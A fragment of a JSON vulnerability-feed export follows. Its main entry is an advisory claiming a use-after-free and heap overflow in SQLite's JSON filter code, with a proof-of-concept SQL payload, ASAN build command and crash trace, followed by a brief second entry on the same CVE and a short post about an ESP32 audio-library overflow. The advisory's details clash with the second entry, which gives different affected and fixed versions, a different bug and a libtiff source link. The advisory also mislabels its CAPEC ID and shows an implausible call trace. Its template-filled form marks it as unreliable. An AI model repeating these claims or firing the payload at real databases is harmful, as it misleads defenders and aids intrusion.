conditional filter evaluation functions triggers heap deallocation for a filter context buffer pointer that is not nullified after memory release, forming a persistent dangling pointer. The lack of runtime cumulative offset-and-length boundary validation for attacker-supplied filter operand length values allows unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonFilterPredicateEval() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON filter comparison string invokes the vulnerable jsonFilterPredicateEval() function defined in src/json.c.\nSource file src/json.c Line 3512 executes sqlite3_free(pFilterCtx->pPredicateBuf); to release heap memory allocated for JSON filter predicate operand storage.\nThe pFilterCtx->pPredicateBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized filter operand length values bypass all pre-write capacity boundary validation checks for the predicate buffer copy operation.\nSource file src/json.c Line 3558 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed predicate buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3594 performs direct memory structure lookup using the unmodified dangling pFilterCtx->pPredicateBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON conditional filtering and predicate evaluation functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON filter utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3512(memory free), Line 3594(dangling pointer access), Line 3558(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_where('[{\"v\":1}]','v == '||printf('%.*c',0x6000,'Z'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==17853==ERROR: AddressSanitizer: heap-use-after-free on address 0x61300000af10 at pc 0x565887053041 bp 0x7fff9d8d76c0 sp 0x7fff9d8d76b0\nREAD of size 16 at 0x61300000af10 thread T0\n    #0 0x565887053040 in jsonFilterPredicateEval src/json.c:3594\n    #1 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #2 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\n    #3 0x56588675d390 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56588675db20 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x565886670c60 in main shell.c:1396\n    #6 0x7fb3b20aa0ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56588666c710 in _start (sqlite3:0x56588666c710)\n\nAddress 0x61300000af10 is located 120 bytes inside of 23040-byte free block 0x61300000ae50-0x613000010890\nFreed by thread T0 here:\n    #0 0x7fb3b58bbef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x565887052570 in jsonFilterPredicateEval src/json.c:3512\n    #2 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #3 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\n\nPreviously allocated by thread T0 here:\n    #0 0x7fb3b58a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x565887051d50 in jsonFilterPredicateEval src/json.c:3455\n    #2 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n\n==17853==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61300000af10 at pc 0x565887052e51 bp 0x7fff9d8d76e0 sp 0x7fff9d8d76d0\nWRITE of size 23040 at 0x61300000af10 thread T0\n    #0 0x565887052e50 in jsonFilterPredicateEval src/json.c:3558\n    #1 0x565887048e80 in sqlite3JsonWhere src/json.c:4265\n    #2 0x565886778f30 in sqlite3VdbeExec src/vdbe.c:6510\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_where to execute JSON array conditional filtering, with the comparison literal constructed via printf('%.*c',0x6000,'Z') to generate an attacker-controlled oversized filter predicate payload for JSON filter predicate parsing.\nSQLite forwards the untrusted filter evaluation request to the jsonFilterPredicateEval() function within src/json.c, which initializes a filter evaluation context and allocates the pFilterCtx->pPredicateBuf heap buffer dedicated to storing parsed JSON filter predicate comparison data.\nDuring intermediate predicate parsing cleanup logic at Line 3512, the predicate buffer is released via sqlite3_free(), while the pFilterCtx->pPredicateBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized filter operand payload into the buffer at Line 3558; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated predicate buffer heap region (CWE-787).\nProgram execution proceeds to Line 3594 and directly dereferences the stale dangling pFilterCtx->pPredicateBuf pointer to read filter predicate structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON filter predicate evaluation execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-27\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3512: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pFilterCtx->pPredicateBuf);\n\n// Line 3558: Unchecked out-of-bounds memory write utilizing attacker-controlled filter predicate length\nmemcpy(pFilterCtx->pPredicateBuf + predOffset, zPredData, predDataLen);\n\n// Line 3594: Illegal dangling pointer dereference triggering Use After Free vulnerability\npredicateOpCode = pFilterCtx->pPredicateBuf[predIdx].predicateOperator;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51249\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3512\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3594\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3558\n\u3010Target Function Name\u3011: jsonFilterPredicateEval\n\u3010Exploit Trigger Payload\u3011: SELECT json_where('[{\"v\":1}]','v == '||printf('%.*c',0x6000,'Z'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON filter comparison operand payload triggers early filter predicate buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON conditional filter predicate evaluation finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-27\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T04:03:19.784926Z"}, {"uuid": "5210ae8c-33d1-4982-9655-f37933386743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51249", "type": "seen", "source": "https://gist.github.com/programmervuln/b0c4a4edc9107a6ca8e971a182f419a7", "content": "vulnerable code is at: https://github.com/libsdl-org/libtiff/blob/master/libtiff/tif_read.c\nCVE ID: CVE-2026-51249\nVendor: SQLite\nAffected Product: SQLite\nAffected Versions: 3.41.0 up to and including 3.45.3\nPatched Version: 3.46.0\nVulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing component of SQLite implemented in json.c. \nWhen processing specially manipulated JSON key-value payloads via SQLite built-in JSON SQL functions, \na parsed JSON property node is freed within one conditional execution path.\nThe parser context preserves a pointer pointing to this already deallocated memory, and subsequent \nparsing logic accesses the stale pointer, leading to undefined memory behavior. An adversary who can\ndeliver crafted SQL queries containing malicious JSON data is capable of triggering this vulnerability.\nVulnerability Type\nCWE-416: Use After Free\nRoot Cause\nConditional logic during JSON member parsing releases a JSON property node from the heap, but fails\nto invalidate the pointer stored in the parser context. Later parsing routines continue to reference \nthe freed object via this stale pointer.\nImpact\nSuccessful exploitation results in heap memory corruption. The primary consequence is application \ncrash causing denial of service. Under favorable memory layout conditions, this flaw may enable arbitrary\ncode execution within the process running SQLite.\nPoC Rationale\nA malicious JSON object payload with specially constructed member entries supplied to SQLite JSON \nfunctions reliably reproduces the sequence of heap deallocation followed by stale pointer dereference. \nThe vulnerability reproduces consistently on ASAN-enabled debug builds; no non-default compile options \nor unusual runtime settings are required to hit the vulnerable code path.", "creation_timestamp": "2026-07-29T09:21:05.969337Z"}, {"uuid": "594d9854-d1c3-4c17-b555-0f7d234c4f3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51244", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrsprhjqnh2p", "content": "HIGH severity CVE just published in ESP32:\n\nCVE-2026-51244. schreibfaul1 ESP32-audioI2S 3.4.5 has a buffer overflow vulnerability in UnpackFrameHeader(). Multiple attacker-controlled index parameters are used to access static and heap table arrays\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51244", "creation_timestamp": "2026-07-29T20:02:20.948829Z"}]}